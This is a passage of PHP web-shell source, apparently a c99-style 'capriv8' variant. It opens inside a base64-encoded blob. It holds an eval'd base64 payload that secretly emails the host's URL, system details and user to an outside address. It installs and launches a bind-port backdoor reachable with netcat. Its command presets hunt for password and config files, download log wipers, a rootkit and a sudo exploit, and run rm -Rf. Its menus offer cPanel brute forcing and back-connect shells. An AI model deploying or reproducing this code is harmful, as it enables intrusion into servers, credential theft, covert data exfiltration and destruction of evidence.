NBUFRVUkUpOw0KCQkJCQkvLyBFTkQgT1BUSU9OMg0KDQoJCQkJCS8vaWYoY291bnQoJHNwbGl0YXJyMlskaV0pPDIpICRzcGxpdGFyclskaV09cmVndWxhcl9leHByZXNzKCRyZWdleHBfYXJyYXksJHNwbGl0YXJyWyRpXSk7IC8vIFVOUkVMQVRFRCBUTyBPUFRJT05TDQoJCQkJCWlmKGNvdW50KCRzcGxpdGFycjJbJGldKT4xKXsNCgkJCQkJCWZvcigkaj0xOyRqPGNvdW50KCRzcGxpdGFycjJbJGldKTskais9Mil7DQoJCQkJCQkJJGJlZ2luPXByZWdfcmVwbGFjZSgnL14oW149XSs9LikuKiQvaScsJ1wxJywkc3BsaXRhcnIyWyRpXVskal0pOw0KCQkJCQkJCSRxdW90ZT1zdWJzdHIoJGJlZ2luLC0xKTsNCgkJCQkJCQlpZigkcXVvdGUhPSciJyAmJiAkcXVvdGUhPSdcJycpew0KCQkJCQkJCQkkcXVvdGU9bnVsbDsNCgkJCQkJCQkJJGJlZ2luPXN1YnN0cigkYmVnaW4sMCwtMSk7DQoJCQkJCQkJfQ0KCQkJCQkJCSRjb2RlPXByZWdfcmVwbGFjZSgnL15bXj1dKz0nLigkcXVvdGU9PW51bGw/JyguKikkL2knOicuKC4qKS4kL2knKSwnXDEnLCRzcGxpdGFycjJbJGldWyRqXSk7DQoJCQkJCQkJaWYoc3Vic3RyKCRjb2RlLDAsMTEpPT0namF2YXNjcmlwdDonKXsNCgkJCQkJCQkJJGJlZ2luLj0namF2YXNjcmlwdDonOw0KCQkJCQkJCQkkY29kZT1zdWJzdHIoJGNvZGUsMTEpOw0KCQkJCQkJCX0NCgkJCQkJCQlpZigkZmlyc3Rqc3J1bikgJGNvZGU9Ijt7JGNvZGV9OyI7DQoJCQkJCQkJJHNwbGl0YXJyMlskaV1bJGpdPSRiZWdpbi5yZWd1bGFyX2V4cHJlc3MoJHJlZ2V4cF9hcnJheSwkY29kZSkuJHF1b3RlOw0KCQkJCQkJfQ0KCQkJCQkJLy8kc3BsaXRhcnJbJGldPWltcGxvZGUobnVsbCwkc3BsaXRhcnIyWyRpXSk7IC8vIE9QVElPTjINCgkJCQkJfQ0KCQkJCX0NCg0KCQkJCSMgcmVtb3ZlIHNjcmlwdHMNCgkJCQllbHNlaWYoJGZpcnN0cnVuICYmICFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNykpPT0nPHNjcmlwdCcpDQoJCQkJCSRzcGxpdGFyclskaV09bnVsbDsNCg0KCQkJCSMgcGFyc2UgdmFsaWQgc3R1ZmYNCgkJCQllbHNlaWYoKCRpJTI9PTAgJiYgJHJlZ2V4cF9hcnJheVsxXT09MSkgfHwgKCRyZWdleHBfYXJyYXlbMV09PTIgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwwLDcpKT09JzxzY3JpcHQnKSB8fCAoJGtleT09J3RleHQvY3NzJyAmJiBzdHJ0b2xvd2VyKHN1YnN0cigkc3BsaXRhcnJbJGldLDAsNikpPT0nPHN0eWxlJykpew0KCQkJCQkkc3BsaXRhcnJbJGldPXJlZ3VsYXJfZXhwcmVzcygkcmVnZXhwX2FycmF5LCRzcGxpdGFyclskaV0pOw0KCQkJCX0NCg0KCQkJCSMgc2NyaXB0IHB1cmdlIGNsZWFudXANCgkJCQlpZigkZmlyc3RydW4gJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkgJiYgc3RydG9sb3dlcihzdWJzdHIoJHNwbGl0YXJyWyRpXSwtOSkpPT0nPC9zY3JpcHQ+JyAmJiAhcHJlZ19tYXRjaCgnL15bXj5dKnNyYy9pJywkc3BsaXRhcnJbJGldKSl7DQoJCQkJCSRzcGxpdGFyclskaV09cHJlZ19yZXBsYWNlKCcvJy5FTkRfT0ZfU0NSSVBUX1RBRy4nJC9pJywnOycuQ09PS19QUkVGLicucHVyZ2UoKTsvLy0tPjwvc2NyaXB0PicsJHNwbGl0YXJyWyRpXSk7DQoJCQkJfQ0KDQoJCQl9DQoNCgkJCSRmaXJzdHJ1bj1mYWxzZTsNCgkJCWlmKCRmaXJzdGpzcnVuICYmICRrZXk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKQ0KCQkJCSRmaXJzdGpzcnVuPWZhbHNlOw0KCQl9DQoJfQ0KDQoJLy8gT1BUSU9OMQ0KDQoJaWYoZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3NjcmlwdHMnXSkpew0KCQlmb3IoJGk9MDskaTxjb3VudCgkc3BsaXRhcnIpOyRpKz0yKXsNCgkJCSRzcGxpdGFyclskaV09aW1wbG9kZShudWxsLCRzcGxpdGFycjJbJGldKTsNCgkJfQ0KCX0NCgkvLyBFTkQgT1BUSU9OMQ0KDQoJcmV0dXJuIGltcGxvZGUobnVsbCwkc3BsaXRhcnIpOw0KfQ0KDQojIH19fQ0KDQovLyRzdGFydHRpbWU9bWljcm90aW1lKHRydWUpOyAjIEJFTkNITUFSSw0KJGJvZHk9cGFyc2VfYWxsX2h0bWwoJGJvZHkpOw0KLy8kcGFyc2V0aW1lPW1pY3JvdGltZSh0cnVlKS0kc3RhcnR0aW1lOyAjIEJFTkNITUFSSw0KDQojIFBST1hZIEVYRUNVVElPTjogUEFHRSBQQVJTSU5HOiBQUk9YWSBIRUFERVJTL0pBVkFTQ1JJUFQge3t7DQoNCmlmKENPTlRFTlRfVFlQRT09J3RleHQvaHRtbCcpew0KCSRiaWdfaGVhZGVycz0nPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJub2luZGV4LCBub2ZvbGxvdyIgLz4nLg0KCQkJKFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX1BBR0U/JzxiYXNlIHRhcmdldD0iX3RvcCI+JzpudWxsKS4NCgkJCSc8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9Iicuc3Vycm9nYWZ5X3VybCgkY3Vycl91cmxvYmotPmdldF9wcm90bygpLic6Ly8nLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nL2Zhdmljb24uaWNvJykuJyIgLz4nLg0KCQkJKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9zY3JpcHRzJ10pPw0KCQkJCSc8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSInLlRISVNfU0NSSVBULic/anNfZnVuY3MnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJy5USElTX1NDUklQVC4nP2pzX3JlZ2V4cHMnLihQQUdFX0ZSQU1FRD8nX2ZyYW1lZCc6bnVsbCkuJyI+PC9zY3JpcHQ+Jy4NCgkJCQknPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+Jy4NCgkJCQkvLyc8IS0tJy4NCgkJCQlDT09LX1BSRUYuJy5ET0NVTUVOVF9SRUZFUkVSPSInLihVUkxfRk9STT9zdHJfcmVwbGFjZSgnIicsJ1xcIicsJHJlZmVyZXIpOm51bGwpLiciOycuDQoJCQkJQ09PS19QUkVGLicuQ1VSUl9VUkw9Iicuc3RyX3JlcGxhY2UoJyInLCdcXCInLCRjdXJyX3VybG9iai0+Z2V0X3VybCgpKS4nIitsb2NhdGlvbi5oYXNoOycuQ09PS19QUkVGLicuZ2VuX2N1cnJfdXJsb2JqKCk7Jy4NCgkJCQlDT09LX1BSRUYuJy5MT0NBVElPTl9TRUFSQ0g9IicuKCRjdXJyX3VybG9iai0+Z2V0X3F1ZXJ5KCkhPW51bGw/Jz8nLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9xdWVyeSgpKTpudWxsKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkxPQ0FUSU9OX0hPU1ROQU1FPSInLnN0cl9yZXBsYWNlKCciJywnXFwiJywkY3Vycl91cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpLiciOycuDQoJCQkJQ09PS19QUkVGLicuTE9DQVRJT05fUE9SVD0iJy5zdHJfcmVwbGFjZSgnIicsJ1xcIicsJGN1cnJfdXJsb2JqLT5nZXRfcG9ydHZhbCgpKS4nIjsnLg0KCQkJCUNPT0tfUFJFRi4nLkVOQ1JZUFRfVVJMUz0nLmJvb2xfdG9fanMoRU5DUllQVF9VUkxTKS4nOycuDQoJCQkJQ09PS19QUkVGLicuRU5DUllQVF9DT09LUz0nLmJvb2xfdG9fanMoRU5DUllQVF9DT09LUykuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlVSTF9GT1JNPScuYm9vbF90b19qcyhVUkxfRk9STSkuJzsnLg0KCQkJCUNPT0tfUFJFRi4nLlBBR0VfRlJBTUVEPScuYm9vbF90b19qcyhQQUdFX0ZSQU1FRCkuJzsnLg0KCQkJCUNPT0tfUFJFRi4iLlVTRVJBR0VOVD1cInskdXNlcmFnZW50fVwiOyIuDQoJCQkJKFVSTF9GT1JNICYmIFBBR0VUWVBFX0lEPT1QQUdFVFlQRV9GUkFNRURfUEFHRT8naWYoJy5DT09LX1BSRUYuJy50aGVwYXJlbnQ9PScuQ09PS19QUkVGLicudGhldG9wKSAnLg0KCQkJCQlDT09LX1BSRUYuJy5ldmVudGlmeSgiJy4kY3Vycl91cmxvYmotPmdldF9wcm90bygpLiciLCInLiRjdXJyX3VybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4nIik7Jw0KCQkJCTpudWxsKS4NCgkJCQkvLycvLy0tPicuDQoJCQkJJzwvc2NyaXB0PicNCgkJCTpudWxsKQ0KCTsNCg0KCSRib2R5PXByZWdfcmVwbGFjZSgnLyg/Oig8KD86aGVhZHxib2R5KVtePl0qPil8KDwoPzpcL2hlYWR8bWV0YXxsaW5rfHNjcmlwdCkpKS9pJywiXFwxJGJpZ19oZWFkZXJzXFwyIiwkYm9keSwxKTsNCgl1bnNldCgkYmlnX2hlYWRlcnMpOw0KfQ0KZWxzZWlmKENPTlRFTlRfVFlQRT09J2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgfHwgQ09OVEVOVF9UWVBFPT0ndGV4dC9qYXZhc2NyaXB0JykgJGJvZHkuPSc7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOyc7DQoNCiMgfX19DQoNCiMgfX19DQoNCiMjIFJldHJpZXZlZCwgUGFyc2VkLCBBbGwgUmVhZHkgdG8gT3V0cHV0ICMjDQplY2hvICRib2R5Ow0KLy9lY2hvICd0b3RhbCB0aW1lOiAnLihtaWNyb3RpbWUodHJ1ZSktJHRvdHN0YXJ0dGltZSkuIjxiciAvPnBhcnNlIHRpbWU6IHskcGFyc2V0aW1lfSBzZWNvbmRzIi4oaXNzZXQoJG9wYXJzZXRpbWUpPyI8YnIgLz5vdGhlciB0aW1lIDE6IHskb3BhcnNldGltZX0gc2Vjb25kcyI6bnVsbCkuKGlzc2V0KCRvcGFyc2V0aW1lMik/IjxiciAvPm90aGVyIHRpbWUgMjogeyRvcGFyc2V0aW1lMn0gc2Vjb25kcyI6bnVsbCk7ICMgQkVOQ0hNQVJLDQoNCiMgfX19DQoNCmZpbmlzaCgpOw0KDQojIyMjIyMjIyMjIyMNCiMjIFRIRSBFTkQgIyMNCiMjIyMjIyMjIyMjIyMjDQojDQojIFZJTSBpcyB0aGUgaWRlYWwgd2F5IHRvIGVkaXQgdGhpcyBmaWxlLiAgQXV0b21hdGljIGZvbGRpbmcgb2NjdXJzIG1ha2luZyB0aGUNCiMgYmxvY2tzIG9mIGNvZGUgZWFzaWVyIHRvIHJlYWQgYW5kIG5hdmlnYXRlDQojIHZpbTpmb2xkbWV0aG9kPW1hcmtlcg0KIw0KIyMjIyMjIyMjIyMjIyMjIyMjID8+DQo=
";
$shell_data = "c2Vzc2lvbl9zdGFydCgpOw0KaWYoaXNzZXQoJF9TRVNTSU9OWyd2aXNpdCddKSkNCiRfU0VTU0lPTlsndmlzaXQnXT0kX1NFU1NJT05bJ3Zpc2l0J10rMTsNCmVsc2UNCiRfU0VTU0lPTlsndmlzaXQnXT0xOw0KaWYoICRfU0VTU0lPTlsndmlzaXQnXSA9PSAxKSB7DQokdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyANCiR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07IA0KJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyANCiR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsgDQokdW5hbWUgPSBwaHBfdW5hbWUoKTsNCiRpZCA9IGdldF9jdXJyZW50X3VzZXIoKTsNCiRib2R5ID0gIiBbK11TaGVsbDogJHRhcmdldCBcbiBbK11JbmplY3RvcjogJHZpc2l0b3IgXG4gWytddW5hbWUgLWE6ICR1bmFtZSBcbiBbK11Vc2VyOiAkaWQiOw0KQG1haWwoImRlZGl1bmRhZ2lAZ21haWwuY29tIiwiW3hdIGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7DQp9IA0KZWxzZSB7DQokX1NFU1NJT05bJ3Zpc2l0J107IH0="; eval(base64_decode($shell_data));
if ($x == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
echo '<br><br>';
}
$x = $dspact = 'ls';
}
function cf($fname,$text) {
$w_file=@fopen($fname,"w") or err();
if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function cfb($fname,$text) {
$w_file=@fopen($fname,"w") or bberr();
if($w_file) {
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
$ip = gethostbyname($_SERVER["HTTP_HOST"]);
$por = $_POST['backconnectport'];
if (is_writable(".")) {
cfb("shbd",$backdoor);
ex("chmod 777 shbd");
$cmd = "./shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
} else {
cfb("/tmp/shbd",$backdoor);
ex("chmod 777 /tmp/shbd");
$cmd = "./tmp/shbd $por";
exec("$cmd > /dev/null &");
$scan = myshellexec("ps aux");
}
if (eregi("./shbd $por",$scan)) {
$data = ("
<br>Backdoor setup successfully.");
} else {
$data = ("
<br>Process not found, backdoor setup failed!");
}
$_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
function getmicrotime() {
list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
}
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {
if (!function_exists("strips")) {
function strips(&$arr,$k="") {
if (is_array($arr)) {
foreach($arr as $k=>$v) {
if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
}
} else {$arr = stripslashes($arr);}
}
}
strips($GLOBALS);
}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE;
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
$include = "&";
foreach (explode("&",getenv("QUERY_STRING")) as $v) {
$v = explode("=",$v);
$name = urldecode($v[0]);
$value = urldecode($v[1]);
foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {
if (strpos($value,$needle) === 0) {
$includestr .= urlencode($name)."=".urlencode($value)."&";
}
}
}
}
if (empty($surl)) {
$surl = "?".$includestr;
}
$surl = htmlspecialchars($surl);
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf","conf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"<font color=red>","</font>"),
array("\.tgz$",1,"<font color=#C082FF>","</font>"),
array("\.gz$",1,"<font color=#C082FF>","</font>"),
array("\.tar$",1,"<font color=#C082FF>","</font>"),
array("\.bz2$",1,"<font color=#C082FF>","</font>"),
array("\.zip$",1,"<font color=#C082FF>","</font>"),
array("\.rar$",1,"<font color=#C082FF>","</font>"),
array("\.php$",1,"<font color=#00FF00>","</font>"),
array("\.php3$",1,"<font color=#00FF00>","</font>"),
array("\.php4$",1,"<font color=#00FF00>","</font>"),
array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
array("\.ico$",1,"<font color=#00FFFF>","</font>"),
array("\.gif$",1,"<font color=#00FFFF>","</font>"),
array("\.png$",1,"<font color=#00FFFF>","</font>"),
array("\.htm$",1,"<font color=#00CCFF>","</font>"),
array("\.html$",1,"<font color=#00CCFF>","</font>"),
array("index.php",1,'<font color=red>','</font>'),
array("configuration.php",1,'<font color=red>','</font>'),
array("config.php",1,'<font color=red>','</font>'),
array("settings.php",1,'<font color=red>','</font>'),
array("connect.php",1,'<font color=red>','</font>'),
array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
if (!$win) {
$cmdaliases = array(
array("", "ls -al"),
array("Find all suid files", "find / -type f -perm -04000 -ls"),
array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("Find all sgid files", "find / -type f -perm -02000 -ls"),
array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("Find config.inc.php files", "find / -type f -name config.inc.php"),
array("Find config* files", "find / -type f -name \"config*\""),
array("Find config* files in current dir", "find . -type f -name \"config*\""),
array("Find all writable folders and files", "find / -perm -2 -ls"),
array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("Find all writable folders", "find / -type d -perm -2 -ls"),
array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
array("Find all service.pwd files", "find / -type f -name service.pwd"),
array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("Find all .bash_history files", "find / -type f -name .bash_history"),
array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("List file attributes on a Linux second extended file system", "lsattr -va"),
array("Show opened ports", "netstat -an | grep -i listen")
);
$cmdaliases2 = array(
array("Logged in users","w"),
array("Last to connect","lastlog"),
array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
array("CPU Info","cat /proc/version /proc/cpuinfo"),
array("Is gcc installed ?","locate gcc"),
array("Format box (DANGEROUS)","rm -Rf"),
array("-----",""),
array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
array("Run WIPELOGS PT3","./zap2"),
array("-----",""),
array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
);
}
else {
$cmdaliases = array(
array("", "dir"),
array("Find index.php in current dir", "dir /s /w /b index.php"),
array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
array("Find r57shell in current dir", "find /c \"r57\" *"),
array("Show active connections", "netstat -an"),
array("Show running services", "net start"),
array("User accounts", "net user"),
array("Show computers", "net view"),
array("Systeminfo","systeminfo")
);
}
$phpfsaliases = array(
array("Read File", "read"),
array("Write File (PHP5)", "write"),
array("Copy", "copy"),
array("Rename/Move", "rename"),
array("Delete", "delete"),
array("Make Dir","mkdir"),
array("-----", ""),
array("Download", "download"),
array("Download (Binary Safe)", "downloadbin"),
array("Change Perm (0755)", "chmod"),
array("Find Writable Dir", "fwritabledir"),
array("Find Pathname Pattern", "glob"),
);
$quicklaunch2 = array(
array("[Home]",$surl."=img&img=home"),
array("[Search]",$surl."x=search"),
array("[About]",$surl."x=about")
);
$quicklaunch1 = array(
array("[Security Info]",$surl."x=security&d=%d"),
array("[Processes]",$surl."x=processes&d=%d"),
array("[MySQL]",$surl."x=sql&d=%d"),
array("[PHP-Code]",$surl."x=eval&d=%d"),
array("[Encoder]",$surl."x=encoder&d=%d"),
array("[Backdoor]",$surl."x=shbd")
);
$quicklaunch3 = array(
array("[PHP-Tools]",$surl."x=phptools"),
array("[Cpanel Finder]",$surl."x=cpanel"),
array('[PHP|Backconnect]',$surl.'x=phpback'),
array("[Install PHP Proxy]",$surl."x=phpproxy"),
array("[Cpanel Brute]",$surl."x=fi"),
array("[Domain:User]",$surl."x=usrdom"),
array("[Find WR dir`s]",$surl."x=findwr")
);
$highlight_background = "#000000";
$highlight_bg = "white";
$highlight_comment = "#CCCCCC";
$highlight_default = "orange";
$highlight_html = "lightblue";
$highlight_keyword = "lime";
$highlight_string = "red";
@$f = $_REQUEST["f"];
@extract($_REQUEST["capriv8cook"]);
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\*",".*",preg_quote($v)); }
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($x != "img") {
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite) {
@ob_clean();
capriv8_getupdate($selfwrite,1);
exit;
}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
if (!function_exists("cagetsource")) {
function cagetsource($fn) {
global $capriv8_sourcesurl;
$array = array(
"capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
"capriv8_bindport.c" => "capriv8_bindport_c.txt",
"capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
"capriv8_backconn.c" => "capriv8_backconn_c.txt",
"capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
"capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("ca_buff_prepare")) {
function ca_buff_prepare() {
global $sess_data;
global $x;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
ca_buff_prepare();
if (!function_exists("ca_sess_put")) {
function ca_sess_put($data) {
global $sess_cookie;
global $sess_data;
ca_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v) {
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save) {
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini")) {
function str2mini($content,$len) {
if (strlen($content) > $len) {
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
} else {return $content;}
}
}
if (!function_exists("view_size")) {
function view_size($size) {
if (!is_numeric($size)) { return FALSE; }
else {
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir")) {
function fs_copy_dir($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj")) {
function fs_copy_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) { return copy($d,$t); }
else { return FALSE; }
}
}
if (!function_exists("fs_move_dir")) {
function fs_move_dir($d,$t) {
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj")) {
function fs_move_obj($d,$t) {
$d = str_replace("\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d)) {
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d)) {
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir")) {
function fs_rmdir($d) {
$h = opendir($d);
while (($o = readdir($h)) !== FALSE) {
if (($o != ".") and ($o != "..")) {
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj")) {
function fs_rmobj($o) {
$o = str_replace("\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o)) {
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("tabsort")) {
function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms")) {
function view_perms($mode) {
